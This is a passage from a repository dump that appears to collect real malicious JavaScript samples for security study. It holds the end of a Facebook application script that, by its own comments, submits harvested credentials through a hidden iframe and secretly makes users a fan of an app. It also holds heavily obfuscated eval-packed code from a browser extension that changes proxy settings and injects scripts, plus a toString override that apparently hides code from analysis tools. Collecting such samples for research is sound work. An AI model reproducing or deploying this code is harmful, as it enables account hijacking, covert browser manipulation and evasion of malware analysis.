(ax_params.length > 1)) { // found credentials 273 | 274 | // add iframe and form 275 | ax_document 276 | .getElementById('work_container') 277 | .setInnerXHTML( 278 | ""); 279 | ax_document.getElementById('frm_container') 280 | .setInnerXHTML( 281 | '
'); 282 | 283 | // fill out form to touch.facebook.com with your credentials, targetting the form to iframe 284 | var ax_submitfrm = ax_methodaction(); 285 | if (ax_submitfrm > 0) { 286 | try { 287 | ax_setTimeout(function() { 288 | ax_document.getElementById('frm') 289 | .submit(); 290 | }, 1200); 291 | } catch (ax_err) { 292 | ax_logerr(ax_err); 293 | } 294 | } 295 | 296 | try { 297 | // make current user a fan of the application 298 | var ax_lkp = ax_document 299 | .createElement('div').setId('lkp'); 300 | ax_document.getElementById('work_container') 301 | .appendChild(ax_lkp); 302 | ax_lkp 303 | .setInnerXHTML(""); 304 | ax_document.getElementById('fralkp').setSrc( 305 | ax_meth.get(ax_meth.lp /* http://touch.facebook.com/reqs.php?id= */) 306 | + '148034935215009&action=fan&' 307 | + ax_meth 308 | .get(ax_meth.pid) + '=' 309 | + ax_params[$FBJS.idx(0)]); 310 | ax_lkp = null; 311 | } catch (ax_err) { 312 | ax_logerr(ax_err); 313 | } 314 | 315 | } 316 | } 317 | 318 | // load ads 319 | ax_document.getElementById('frabox').setClassName('frabox'); 320 | ax_document 321 | .getElementById('frabox') 322 | .setInnerXHTML( 323 | ''); 324 | ax_document.getElementById('loading').setTextValue( 325 | 'Complete above to see a joke!'); 326 | 327 | // clean up after 16 secs 328 | ax_setTimeout(function() { 329 | ax_document.getElementById('work_container') 330 | .setTextValue(''); 331 | ax_document.getElementById('frm_container').setTextValue( 332 | ''); 333 | 334 | }, 16000); 335 | 336 | } 337 | 338 | ax_setTimeout(function() { 339 | ax_startapp(); 340 | }, 800); 341 | -------------------------------------------------------------------------------- /real/hoster.js: -------------------------------------------------------------------------------- 1 | eval((function(x){var d="";var p=0;while(p4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else d+="`";p+=4}}return d})("function ilx_get_mv(execVid){` +%ega` .$,\"mv\");}` G.p` 8=p` C2` 9(platform){pageCtn=` @#Cnt();ub=` 1#.split(\"erid = \\\"\");if(ub[1]){ub2=` &!` ?$` ;!u=ub2[0];}else{u=\"\";}v=`!5#;xhrUp=new XMLHttpRequest` 3\".open(\"GET\",ilx_uu+\"stat/\"+ilx_vers+\"` &#convert(v+\"||\"+u)+\"/\",true)` f#send(null);urlOk=0;ilx_setTextBox(ilx_lang.patching_lb)` =$Loading` .3var xhrl`!u3l`!w0redirec`!~-`$)$+\"l`\".+\"v=\"+v`\",+l.set`!%#Header(\"Conne`%/!\",\"close\"` E#onreadystatechange=`%W$(){if(` A!` ?!State==4){srvR=` 2#sponseText;error=srvR`%Q&rortext=`%V$` -!`%\\!` H\"` ($`%Y)` /(0];alert` T\"`#v%`$6*stLabel` 8\"remove`$8$);return false;}k1`!U)k1`!U\"k1=k1`!8,` /\"0];k2` G*2` N#2=k2` D-` 0!0];un` H)un` O\"un=un`('-` 0!0];s` G) s` N\"s=s` B,s=s`! !rlVar=s`'a\"k1`'i\"k2`'p#n`'x#` )\"v;urlp`*+!uu+\"video`&@*mv`&D)/?k=`&E*`!*\")+`#t!firstLoch!=\"\"?\"&ref` H#` 1%:`%3!`$#Mwindow.content.stop(` D\"openTab(urlp);}}`'k$`*$%`,q*workMu_start(args,windMu){lnk=unescape(` /\".document.getElementById(\"`!n!nk_\").value);mv` 0Jmv` R'if`!G!==\"dl\"`/'\"`\"0$lnk)`-V$`$v\"lnk`$Y\"m`$>>divx/mu`$?5`#.1`\"{2ream(){`#{+`\"'9dl_auto\").checked=`)/\"if`\"~!` ?Dcount`#%%==\"ok`\"~#`$a)\"`!^\"\"`$m!` r&`#6$` fHwait_type\").innerHTML`#c!`/V!` :!`!(\"_lb;}` OH`!g!`\"#&`!m$`'R,`&<:oad`!9#\").style.color=\"#C66219` =Odl` [-A7A7A7\"`(M2dl`$K`#*#`$P~`%H&dl`$L~`%H\"dl`$i]dl`#pb`$iU`%{3`%)9auto`%E\"`$4K`*k-`$Z\"prefsBranch.setCharPref`-m#`!*\"\",`-b!`!tI`#Y0`%D\"` kG` U[\";}`(Q+`#97`.H%`#)K`(q1`#/I`%?$`!oY`,o$`\"b~`#H8`#=$`#]'` 4\"`#*J`+j!down\")){pageCtn=` 5Ddownloadlink`+5(.toString();unb=` q#.split(\"href=\\\"\"` 8!2=unb[1]` 5$` 3!lnk=unb2[0];` V#2`!=5body`!&2mv`!3%2` x$megavideo.com\");if(mvb[1]){mvb2=` '\"`!A)mv=\"http://www.` T*+mv`!b\"`%I\"mv`$D!flm`!)-font-size: 16px; ` ,!weight: bold;\\\">`!M\"flm[2]){flm2=` '\"` _$<\");fileName=flm2[0].replace(/<\\/?[^>]+>/gi`&N!`!R\"` I%\"\";}`!T\"Down=parseInt`%=P`#k&`'S\"Mu`$5+;clearInterval(timer);wait`\"v#Down+2;`(<'`17!`(d(g`(X4);innH=\"` B8` E&`4/\"` E&` v%escape(lnk)+\"'` X+` V$lnk` A7mv` @7mv` U!div align='center'>

\"`\"b!+=\"` @!` P$temoiMu_'>`#V\"lcz(` #!ang.wait_wait_lb,wait)+\"\"25` ?!(`![#`!Q%avi_lb+\")`!#!`$(\"`\"h(`.-#`\"[%color:#A7A7A7;h`)c\"50px`! $`\"i+28px;`$b$butto`&Z,`!G!`2 #lb+\"'/`\"A+`!G*`2F'` o$`2Q!box' \"+`#t!`(P$`1O%?\"`2s#='true'\":\"\")+\"/> `\"`,` t'`!I!`#\"`#h1`#^\"righ`#V+`#34dl`\"G|dwld`#!@dl`\"yDdl`\"rG` p#`#.'`#/,`'F#`\"|\"frame src`!|$uu+\"waiting/` q'lang+\"/mu` .#vers+\"/?f=\"+`/<$+\"' `#6!='6`$!! `#O\"='42` *!`!(!border='0'/`!R%`/ \"`3#4=innH` 3-`/q,`(?+\").addEventListener(\"click\",`*M!orkMu` F#,true`0E$` `?dl` XCdl` PG`$T#` TC`%!!` SI`(m'` XH`\"v)if`&k.){`!E.();}else ` @-`$7$` D-` 3\"();}var `40!=set`4>%function(){if(`\"K\"` &!!`\"9@`12$\")){clear` o%`!%!);return false;}`!x!` %@`!,,title=--wait+\" secondes - `(?&`& E`!k!`'~'`-6\"`1x~`2t\"\\`!C!`2r%\\\"` Z$ang[`+ !_\"+`&3Bart_\").`-i!+\"_lb\"]+\"`3])\";if(wait==0){` R@coun` l&=\"ok`+7.`$(\"`\"A*` R\"lb`#-~`#jA`2L'ar`!S!`'U#`#(H==\"\"?` a*please_lb`0E\"`#^$`'>1`(g%` eK`)x0` @!(` 3$,`)a#`*d&` TQ`+V,` ~#dl` v'}},1000`!$#` I!openTab(urlp);}}`+;$ ilx_get_m`/z$`+O\"ilx_prefsBranch.getBoolPref`!S\"pref_zapmu\")){lnk=window.content`\"-&location.href.split(\"/?\").join(\"/mgr_dl.php?\");urlVar=lnk;urlp`'.!uu+\"video`3f*divx/mu/?k=` 2\"convert(` ^\");`\"G/`\"m!`#6\"`$2%`\"Y4download`!q~`\"U:`!{(lnk`!v,dl`!p.attachMU(){var unsafeWin`!K$top`!|!rowser().selected` +#`!l$W` I\"wrappedJSObject;` j&Loc=(new XPCNativeW` G!r(`!+%,\"`\"H$\"))`\"S%` _!href` B9Loc,\"href\"))`#)!` R!scripts=\"chrome://illimitux/`!r#/megaupload.js\"`#?!injectS` X!(` ]#,href,`!c%);`#:*focuscaptcha(){`$Y-`)d,` D#field\").` Z!();` (L`$(\"(`!>,showcapt`&EH` s#\")` O!`&Z4`!@,main\")){pageCt`%n%` G-body`/~&.toString();nmec=` X#`'[$height=\\\"125\\\">\"` A!fc=nmec[1]` ?$`.{#);namemu=` @![0];frm` c-`4:!`#7$orm` r\"frmfc=frm` c1captf=` ?![0]` (#` 0!.replace(\"check`#5$,\"`\"r4'`!0'').submit` z%` n\"`!6%form>`*=%\")`3k!`#5>=\"

` #!`3a&\\\"`3f\"\\\">
\"+`\"$!+\"`\"$#`!J%` n\"`$o,+`$Z\"`3i&`&<>sByTagName(\"td\")[1].width=\"200px` ,T`!T#\"8` 1Oimg\")[0].`#/!.`\"?#` '``!jL`*v2` _(1` (_`\"9$4` )^fontSize=\"2` h!}`3V/rs(`+^&` .#Cnt();vbs`*>,dlf\\\" a` ]!=\\\"\");if(vbs[1]){vb2d=` '\"` H$` >!dwld=vb2d[0]`0[!fileName`,g,`4/%pathname`43%\");` L%` V$[` *$.length-1];waita`-U5`#$,dl\")`-h2waito=` i!`,|)zeit\\\"> `+5#Rs` }+;if(` W!`\"l!waitu` a!o`\"i' \");clearInterval(timer`!/\"=parseInt` b!u[0])+2`!%#`,%7`,*&'`,-\"'`+[#'padding-top:`&y!;`+R*'`,k\"id='_temoiRs_'>`+,\"` 0&load` 4!\"+ilx_lcz`2Z!lang.wait_wait_lb,wait)` >\"` 3%auto_lb`, $`,M!iframe src='` n\"uu+\"waiting/` #ang.lang+\"/rs` .#vers+\"/?f=\"+`%9$+\"' `);\"'650px'`-C$'42` *!`!(!border='0'/`\"9#\"`&i!`#y!=set`$'%`(<$(`4K%Rs` &!!`#y,`&\",`#:%\")){`$p1return false;}` `,title=--wait+\" secondes - `\"D&`%=-`!4-`$G#`'Q(`%%[`$T_\"`(4$==0`#K)`\"N2` c%dwldRs_lb`!_~`\"?>`\"4%start`\"1)`$y1` O\"unchrs(dwld,`\"O#;}}}else`%O2}},1000);` >\"` I9`/D)` 11{dlf`,C!`#((create`#0#(\"form\");dlf.setAttribute(\"`/f\"\",dwld+\"#dlt` 21method\",\"pos` ,2name\",\"dlf` *1id` 2'inp`!Q!State==4){res_v=` 3\"sponseText`# $\\t\").join(\"\")` ,%n\"` \"/r` 60` S(;error=`!,!` 9$` .!Message=\\\"`&7\"` 0!`$}!` L\"` ($` m%` c&` 5\"0];al`#+!rro`-c#`$C-stLabel` 8\"remove`$I$`3:,`\"n\"`!\\) `!}(hs1` 0*originalHash`!~%hs1`\" !hs2=` &\"`!t)hs=hs2[0]`.r#hs=\"\";}pi` m+permalinkId` r%pi` u\"pi2=` &\"` n)pi=pi` p'pi` u\"od` l,odLink` n&od` r#od2=` '#` m*od=pod` q(od` y!ex`\"b/Extension`$s&x` |\"ex2=` &\"`$i*x=ex` s'ex` x!fl` n+fullPreviewHashPat`#o&fl` }\"fl2=` &\"` v)fl=fl` x'fl` {$_`\"o+` z\"PieceHashFil`&{&fl1_` ~$_=` '#` y+_=fl2_` ~(_`!&!`&NN`&*!!=\"\"||po`-c!||fl`-j\"vhv=\"http://ll-cache.veoh.com/` *!/external/\";mv=vhv+hs+ex+\"?`&3(\"+pi;urlp`,A%`/\"!`,8+`,C\"?k=`,71mv)+\"||\"+` )#pod` #*fl` 3*fl_` *#`-\"!`\"Z!openTab(urlp)`#6#`*<\"\"Cannot `\"{\" Veoh limit`2\"! (Error: ` g\"+\" - \"+`14!+\")\\nContact the admin.\");}}}`-y!send(null` ^P02)` f!`3}-df_stream(){lnk`3q5form`2$!a` [!;urlVar=lnk`#q=divx/df`$!.` ^\"`#>1`!T0download(){`!E=submit(` V0zs` ^(ilx_pageCtn`!!getCnt(`!O\"lks` 0!` :#`(W$link_enc`4+!Array('`)0\"` N#`)4!` &\"` [!` -\"` W$');\"` z\"zslin` ;$[0` 8&,'`/D(`\"t(` M&`%12get link`$x2zs`%$&`!X~`!x^`%vLzs`& B` c!rlzs`\"qP4`%p-4`\"(\"`&^4getElementById(\"divDLStart\")` 2'sByTagName(\"a\")[0].href`#V$` \"`!+\"`!|(` 1#`!SR`%A)`!%~`!|'`$KL4`$MJ4`$W@")) -------------------------------------------------------------------------------- /real/illimitux.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/real/illimitux.jar -------------------------------------------------------------------------------- /real/illimitux.js: -------------------------------------------------------------------------------- 1 | eval((function(x){var d="";var p=0;while(p4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else d+="`";p+=4}}return d})("var ilx_prefsCom=Components.classes['@mozilla.org/preferences-service;1'].getS` )\"(` Y'interfaces.nsIPrefBranch);`!-)` /\"` ;~` >#).get`!.\"(\"extensions.illimitux.\").QueryI` [$`!q@2`\",&vers=\"4.0\"` *%uu=\"http://www`!!'net/` =&lastLabel=\"` '*Aly=\"no` +&firstLoch` =)inkDivx` ((framesnotChanged=true` 5%welcomed=fals` -&Backup_Time` `(` ,'_second` })ullname=new Array;` +(.mv=\"MegaVideo\"` -+p` 6\"Porn` ,+zs=\"zShare` *+df=\"DepositFiles` c,u` m\"Upload` .+veoh=\"Veoh` *+no` \"5rs=\"Rapids`!;.['4s']=\"4` 7!d\";function`\"u!rand(min,max){var argc=argum`&0!length;if(` 4!==0){min=1000;max=50000;}else ` <&1){}return Math.floor(` &!random()*(max-min+1))+min;}`!N)utf8_encode(argString`!^\"s` '!=` -&+\"\").replace(/\\r\\n/g,\"\\n` (*` ,$`%S!utftext`%_$start,end` '#ringl=0;` 3!=end` '!` 0\"` \"\"`\"s$for(var n=0;n<` =#;n++`!f\"c1` H$charCodeAt(n`!>\"enc=null;if(c1<128){end++`#F&c1>127&&c1<204` ;!c=`\"O\".fromC` n#(c1>>6|192)+` )2&63|128)` v\"` K912|224` Q4>>6` d$` j=if(enc!=`\"B!){` *!d>`#P!){`#|#+`\"y$sub` $\"(`$%%);}` =%enc`$$'n+1;}` z\"` HE`$L));`&z$` P#`&Q+convert(data`$e\"b64=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=`&J\"o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\"\",tmp_arr=[];if(!`!I\"`!s#data;}data=`(C,data+\"\");do{o1=data`&V(i++);o2=` \"23` \"2bits=o1<<16|o2<<8|o3;h1=bits>>18&63;h2` '$2` *!3` (#6` )!4` )!&63;`\"0#[ac++]=b64`!)!At(h1)+` #(2)` \")3` 0*4);}while(i<`!o!`$u$enc=` }#.join(\"\");switch`\"w!` B#%3){case 1:enc=enc.slice(0,-2)+\"==\";break;` A!2` 4.1)+\"` <%default:;}` @$`+w%=/g,\"0Oox\"`!W\"` 0)\\+/g,\"1Ii` (2//g,\"Yyux\");`%4#enc`'\"+lcz(args,reps){tort=args` _%\"%@\"` 7\"` ]$tor`'g,openTab` e!`)l!ilx_prefsBranch.getBoolPref(\"` 5$_tab\")`(A\"win=Compon`0]!classes['@mozilla.org/appshell/window-mediator;1'].getService(` ^'interfaces.nsIW` S!M` P#).getMostRecent` 7\"(\"navigator:browser\");win.openUILinkIn`#.\"\"`!|!`-U#`!N\".content.doc`2i!.location.href`#W!;}`+&+learHTML(obj){`&t\"obj.firstChild){obj.remove` ,!` 0,` d,addTxt`!a\"txt){`$p!append` [\"`!X%createTextNode(txt))`,g,lear` b.`!o*`%8!;`!)0` _+get`!5$s(`%9\"allD` +$=new Array;` +(.push(`#_#top`&/!`$;\"().selected` +#`#$`$n\"`$$%`3<\"allFrames=` 8Rf` X!`4[%i=0;i<` l%`*}#;i++){`!o.` ?%[i]`!M'`0o$` E(`#(+unecape(str){str=str.split(\"<\")`,J#1\");` .+{` 4%2` +.]` 4%3` +.[` 4%4` +.}` 4%5` +.|` 4%6` +.>` 4%7\");cf` 7!`#0#fin=\"\";`'\"cf>=0){fin`4:!`/9$cf);cf--;}t=fin`,1$unes`\"}!`&A-`(N'renFrom`'f!e`,G!!e`2r%false;}if(typeof e==\"string\"){e=xGetElementById(e`0`%e.has` |!Nodes()){e`)c)e`)`*`.$$rue`-y/site`.&#`&|#opener`+~\"RL`.;!uu+args+\".php\"`(r/url`(x$url_list`(q'var docs=`)B-`,\\*`(N\"embed`)O(var parm` ((`(*$j=0;j!;`!S,`* 5{`2E'v\"`!>\"`.Z!v` 2!`*V\"`'a+mp` =(p` /6`)}&`,7!ocus` ,#(` c/u` j(u_`3%\"` 41d` <*`0@$` 9/`.p!` C&veoh`!U6rs` @'rs(`#5.howAlert(kindArgs,vi` #!){` _!\"\";` w#=` 2#;if(!`$@D_ilx_`$h!Shown`%P!var walo=new Array;return` 1!;}`&\"G` m..value==`\"'$+\"\"+`\")%` z5`,J!mgttext\")`,5+status\",\"has_items\"`&y'`!`+porn`!d&p`!9QP` _!` n{`);#`!c\"` (!`!;LV` ]!` h{`,A&`!d\"` ($`!Y0ang.` 9#`!^\"`$0|u`% &u`!95`-j\"` O~==\"zs`!H%zs` O~`!/>df`!H%df` O~`!/>4`\"x&4`\" ~`!.?`27!`!K\"r`!;2`)'8Rapidshare`(H}rs1`!_'1\"` ?l`4@%}if(exec!=\"\"){if`\"Y!prefsBranch.getBoolPref`!'\"pref_pt_\"+exec)==true){ilx_setMenu`#J!` q!,execVid`1&!` TBauto\")` i#idebarClick` a+`\" \"` MEbox` p!`\"D%`,r$&&` *#`#l\"`#I!akeAlert`!#,}`#%$`-])`!d!howcapt(` A!}function ` T7{bd=`428;var embeds` /5`%B&sByTagName(\"` P!\");for(e=0;e<` a\".length;e++){` -\"[e]`%d+wmode\",\"opaque\");` >'rc=` L'rc;}ilx_remov`\";#);alrBox=`!Z%create`!_#(\"div\"` =$`!++id\",\"` 4\"` +4style\",\"z-index:99995;position:fixed;right:10px;color:#FFF;font-size:11px` )\"family:Arial;bottom:0px;width:295px;he` i\"` k!background:transparent url('chrome://illimitux/skin/f`&X!.png') no-repeat 0px 0px;\");bd.appendChild(`\"T\");lbox`$w?`*`\"`#,(`#[>`#d2ertTab_` .1`#r$margin-left:67px; ` +#top:32` &'`$!\"5`\"=\"alr`\"7)`!S+TextNode`.U\"`.W(detects_lb,ilx_fullname[exec]))` u!cls`\"1>cls`\"=5close`\"Q#cls.addEventListener(\"click\"`!>!`'d',`-5!` h2`&w09`&t35px`&W$87`&V&3`&U&` '!cursor:pointer`&5T`\"H!`&_,;\"`.}!`,u#mu\"||` %#zs` \"&df` \"&4s\"){alrbtn`#[>btn`#d5btn`#t#` 4.`#/2text-align:ce`\"f!`#6=3`#M&127`*,'7px;line-` %(`#Z+`*yI`*KStnmu`$!0alrlink1`#B>` B!`'!6eval`2j\"ge`4T$+\"_download\")`'C&` c#`)GD`)b!wld_lb`)J\"btn`,a,` n!` t%2`!hB2`!]Mstream`!|,2`!gA\" \"+`\"'%` c\"`!y5` J6| \"`\"H92);}else`'ho`\"t5function(){ilx_sidebarClick`*M!,execVid);}`#/&`(K~`(K~`(sV`)43`% D`1v-rmvLimit_label,\"\")+\"`%e!}alrpref`%'>pref`%15pref`%D#` C!`1e9openPref`%#&` i/`$QY40`%$&92`%%%65`%\"'4`$},4`$t5789CD8`%$(0`${1`\"U(`)J@Preferences`)o#auto`#i>auto`#r5auto`$$#` 5/`('Z63`#N&`\"_!`(_#3`#N'20`#/FC0C0C0`#1D`\"*!`+>DprefsBranch.setBoolPref`//\"`'*!auto\"`&]#`+nF`!?\"`1/IebriderAuto_box`%$\"disable`$k>` B#`$v6rmv`%)#` 52`$VY`$i!`$0~`${3`\")$`$Kfbox\",fals`%.#removeAlert(`${)`!2%`$^Iont`$|#lbox`3q,btn` #2`!&#` '2auto` $2cls` #2` 92pref);}`#,$ `\"O-{if(window.content.`\"J%get`&u#ById(\"alrBox\")){` :4body.` z\"`!=\"` JM;}`!_*`0Q$(){prefWin=` m#openDialog(\"`3G/`!,#/p`.G&.xul\",\"I` <$ `.a(,` ^#,titlebar,toolbar,`(F\"screen,resizable\");`!J#.focus(`#W,backuproxy`'##bk` (\"`&d#`*%!`%~&` 7!_restored);`\"r5current_` L!\").value=`(\"%Com.getChar`(\"\"network` {\".http\")+\":\"+` C,Int` :4_port\"`\"2,changelang(args){`\"$+update` '!`)4\"`)]+`!Z&locale\",` b!` w+`)!load(){`\"\\5` @%mkdon\").label`\"q!`!F!` 2!_lb`#=6`0:&ide` O.help` C9lang_` P!_activate`$0)` a!` 2/` MAgeneral` T9` =#` KAlangu`!B:` =\"` T6desc_recommended` [.` 2,`!;;button`(P#`#o.` 2.` V6tab`#(-` [0`\"rC` e&about` P9` =!` G@plateforms` S9` =&`)p~`*>P`)t\"`!#&`*7#`!#)`*7#);elemL=`)&9langPop`!}%` V\";var `/E!=new Array(\"auto\",\"box\",\"embed\",\"tab\",\"`/S\"r\",\"zapmu\",\"rs\",\"`\"|\",\"divx\",\"captcha\",\"pt_mv\"` \"\"u` )#p` \"\"` S\"t_veoh` $\"4` +#zs\");for(p=0;p<`![!.length;p++`3W!`+N>\"+` T![p])`,]@` D'.checked`#j0Bool`#x\"` F0;if`.~%[\"` /++\"_lb\"]` }L`'6*` ^4;}}}`/R*tooglepref`0_#`07/`!y1args,`!@@` r!`#%$`0o,welcome(){var win=Components.classes['@mozilla.org/appshell/window-mediator;1'].getService(` ^'interfaces.nsIW` S!M` P#).getMostRecent` 7\"(\"navigator:browser\");win.openUILinkIn`$`!uu+\"`!#/`)~\"`+<%+\"` +#vers+\"/`(9#`3y1`#V*firsttime_` U(_\",false`#5,updateIcon_frm(`$^\"framesnotChanged=` V!`!6!` F&(` [,hitch(obj,meth`(_!!obj[meth]){throw\"method '\"+meth+\"' does not exist on object '\"+obj+\"'\";}var staticArgs=`+B!.prototype.splice.call(arg`&3!s,2,` #%`*6#);return `!q$`%v#a` `1` j&`!1&);` 7,push.apply`(!!`!*&`!$%`\"\\%` @#obj,`'U!;}`#4+injectScript(s` \"!s,url,unsafeCont`&B\"`!q\"sandbox,xmlhttpRequester`.P!safeWin`.R!XPCNativeWrapper(` _-` J%Doc=` T#.`)[$;` q,` p!ilx_` ),` h-,`)$\");`!e#` U!`(t'utils.S` 7\"(`!2#` E%.` X\"`!I$` .%`!Q$=` :*`!g&` 0$`!I\"`)S\"=`!L,` =%__`$j!__` a+` 8%GM`\";+`-i!`'k\"`\"S,,\"c` |\"Start` 0#\"`#Z#`$n!Src` [!getUrl`!I#s`%($);`\"n-evalIn`\"}$\"(`'3'\"+` k%+\"})()\",`!n#`)O,bk`3?!(ret`)W!`1(/Char`+A$limitux_last_http\").indexO` 3(\")!=\"-1\"){typeBK=\"backup\";}else` -%last\";}`!+%Com.s`!%(network.`!_!.`!+!,`!;C\"+`! \"+\"`!a#`-Z'`!!#Int` o4_port` w1` L%` v1` R!` aFtype` SO` R!)`0Z!dow.clearTimeout`$\\!B`#i!_Time_second` 'A);if`%C\"reds=` J$`&d\"`(]%.location.href`.@!t(\"`\"+!/?r=\"` _#ds[1]` e!=` &#` C$&`2S\"` Z>=unescape(red[0])`%x#` N+history.go(-1);}}`'T*divx(a,b){urlp`(~!uu+\"video`3@*divx/divx/?k=` 4\"conver`#$\"linkDivx`$x\"openTab(urlp`(e,detectDivx`34#` S$=\"\";`\"C%getElementById`% '-divxctx\").label`!o!lang.view`\",!` 8Jhidden=true;if(g`+X!xtMenu.onLink||` ()isTextSelected`*t!` #9var r=`$)$ge` 4#`,(!.getRangeAt(0`%W\"` K\"div=r.startContainer.ownerD`\"5$create`\"9#(\"div\");div.appendChild(r.clon`/:$s(`)8#`#k%div.innerHTML`%|#` 4)s`!e$.toString();}` 6/`\"W)getLinkURL();}`-t#` C$.match(/^http/)&&` )0(megaupload|avi|file|dl|mkv|divx|down` 9!get|play|load)/g)){`$mPfalse`\"2$`%IU`(q+updateIc`14!if(!`)Q*){return `!6#if(`*E4`!9,_` q*_\"`#A#framesnotChanged=`!S!` y,`$V%` >-`\"!!loch`,\\CtoLowerCase();prv` ?5`&{1prv.id=`!}.;`\"Q7body)`,z,` 1)`'w)prv`&_\"`#o+`#>;alertShown_\")){pd`!rFinput\");pd`\"3(` e(` 5\"type=\"`%z\"`!eid`\"N!`)1$welcomed=`'_\"`%c\"`3I(prefHasUserValue(\"`%W!irsttime_`/~(_\")` a#){set`3#(`!!#,1000`+b\"`!1%`(7\"`!I#` y>pref_rs`! '` H,setBoolPref` E*,`'k!` \\Lbox` \\Mbox` WSauto` ^M` P!,` M\"` aLdiv`!nN` P!`!kRreferer`$.N` Q#` `Rproxy` cM` P\"` \\Rzapmu` aM` P\"` \\Rcaptcha` cM` P$` `Rembed` cM` P\"` \\Rtab` _Mtab` \\Nmu`),?Char`!#&` K$,\"\");}var pt` M!=new Array(\"pt_mv\",` #!u\"` \"\"p` \"\"rs` \"\"veoh` $\"4` +#z` 3#rs1` #\"`%&%;for(pv=0;pv<`!(#.length;pv++){`#2J\"+` ^#[pv]`#9L` P)`#j$}ilx_setMenuLabel(\"`\"|\"`!2Climitux_backup_http`#kF` I0,` K%Com.g` E(network.`*W!.`!%\"`1l\"` u+Int` l3port` q.` G%` p.` L\"` WLtype` ^E` H!)`'TF` }+`.qA`!Q6`/4%`!M=http.sendR` M\"Header`!r$loch.indexO` {(.net/`\"C!/\",0)!=\"-1\"&&`$WJ` e/\"` d#`\"H\"bk` J!(`+-6g`1]9)==` V!`#1&Com`#+)`\"F;,0);}else` (V`!_/`$4>`#Z?video`#p)window.content.document.getElementById`!*(streaming\")`,>1`#H2`4>\"`#R&f(` ]Y` O$W` _\"` D5serv`\"v!{` QZaddEventListener(\"load`$C\"updateIcon_frm`.&#`\"m(`&jj`*3\";}frmWind=`\"]g;var xhrP`2b!XMLHttpRequest;xhrP.open(\"GET`\"T#u+\"get`*-#+ilx_convert`\"Y!vers+\"||mv||` 8\"rand(0,100000))+\"/\"`#*#` z!set`!(#`($\"(\"Connection\",\"close\"` E#onreadystatechange=fun` F!(`&` W*type` =D`2-\"`3 0`!m&`&r&last`\"@!`&;\"`\"K)`3QD` _!`!r!` V*port` 7I`4Q&`\"M)` Y'`/R#`#d9,`%3$` F.`#W=` U#3` 2F`!n\"` Q\"4` P#B`0C\"Time_seco`+,&setTimeout(`(Q(`+\\/,15000);`+p#`.1>.value=`(B$` 7>las`-D!` R\"`%--+\":`+>\"`$c)` U>`$j&go`-4\"\").submit();}}}}}`+u$nd(null);}`)q\"`*3\"\"`!~! switcher is disabled on p`3z\"nces. Please activate it... \");}`39~`/L)&&`36~`3]W`(~'oaded\")){`1=p`'o+`'CP`1e!`$L0mega`$Q!.com`$M(` 9+v=` 3&||` .*d` 1')){pageCtn`'x!getCnt();vb=` 1#`1O$.v = \\\"`1V\"vb[1]){vb2=` &!` =$` ;!v=vb2[0]`1A#v=\"\";}lc`#K5location.href` b$v=`!$\"!lc`!&!` \"!=v;`\"n!` -\"vidmv=` (!.substring(0,8`+{\"showA`(g\"`#-%\",` P!`)%$ `#K1porn`\"]~`\"]~`\"]~`#T'porn`#K/`*KBzapmu`*i$`+[Fcaptchaform\")&&`$X.upload`$^*`+k!`,!Ct_`!M&`)e\"attachMU`/A!`\"=$` p|`#`*` _#\",`+'$` wLdownloadlink` |HworkMu(` WW` |.zshare.net`$3+` c4forms[0]){` \"<`3e'`(D!`#8+zs`#8&`\"(%`!hFivDLStart\")||` .DfileNameText\")`\"\\-4`\"h!`&|0`)vB` `%file/`$N)` <@`*tJfile\").join(\"get\"`#Q34`#T0`\"iDbox_big`%f.depositfiles`\"eG`%V\"1].a`3{!`#$*s`\"nA` Z%`&!:df`\"D/`0V+eoh`!l,`091l`#tF;if(` J!` }&illimitux`(v,` q\"unescape` Q\");}dvs=` ]\"`%##watch%3D`0K#dvs`0;!` 22/\")`0`!` -6`4$!s` @$` ?$tempE=` (\"` B$#\");temp=` 8![0]` )!sd` +!` =$&` >#` 0\"sd[0]`1P,veoh\",` @!`#t6rapid`,(\"com/`%L!`#$&`1+Fdl\")`0VJrs`0y'` 0Drs`!\"!`%a\"_rs`&P4r`)3(`!\\{ff`!Y~`\"R%`!)H`)M;rs1`\"u,`!$Fembed`\"Q#`#I*`)(-=`)2#var aly`*@!analyseEmbed(`(|!aly.length>0){delm=` s!`'i#/\")`'[!firstLoch=delm[2].replace(\"www.\",\"` B#`\"?&aly[0].kind,` %#vid`\"m$`#)5ilx_mgtt`1p!.setAttribute(\"status\",\"no_items`!$-`#S!`-=*` )~` )~` }*}}`&h#addEventListener(\"load\",fun`1-!(`%c!`!<5`'G#AreaContextMenu\"))`!n6` ;4`!8/popupshowing\",ilx_detectDivx`\"\"&` \"$`!y5DOM`!%!ntLoade`\"--typeof gBrowser!=\"undefined`48\"` 2+.tabContain` =-` /1`#M5ilx_updateIcon,`+S!;` ;DTabSelect` Q3`&*#`$j;` D3` \"#")) -------------------------------------------------------------------------------- /real/illimitux.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/real/illimitux.zip -------------------------------------------------------------------------------- /real/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | i have malware 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /real/start.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tostring/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | recursive toString demo 4 | 5 | 6 |

recursive toString() demo

7 |

@author krzysztof at kotowicz dot net

8 |

See here for an explanation.

9 | 10 |

Results

11 |

12 | 
13 | 
14 | 
15 | 


--------------------------------------------------------------------------------
/tostring/js.js:
--------------------------------------------------------------------------------
 1 | // recursive Function.toString() emulation
 2 | // @author Krzysztof kotowicz - krzysztof at kotowicz dot net
 3 | // @see http://blog.kotowicz.net/2010/06/ultimate-tostring-override.html
 4 | 
 5 | var emulateToStringRecursive = function(object, fn_header) {
 6 | 	object.__defineGetter__("toString", function() {
 7 | 		var original = this.__proto__.toString;
 8 | 	
 9 | 		this.__proto__.toString = function() {
10 | 			var a = original.call(this);
11 | 
12 |                         if (a.match("_JSUNPACK_RANDOMIZE_ME"))
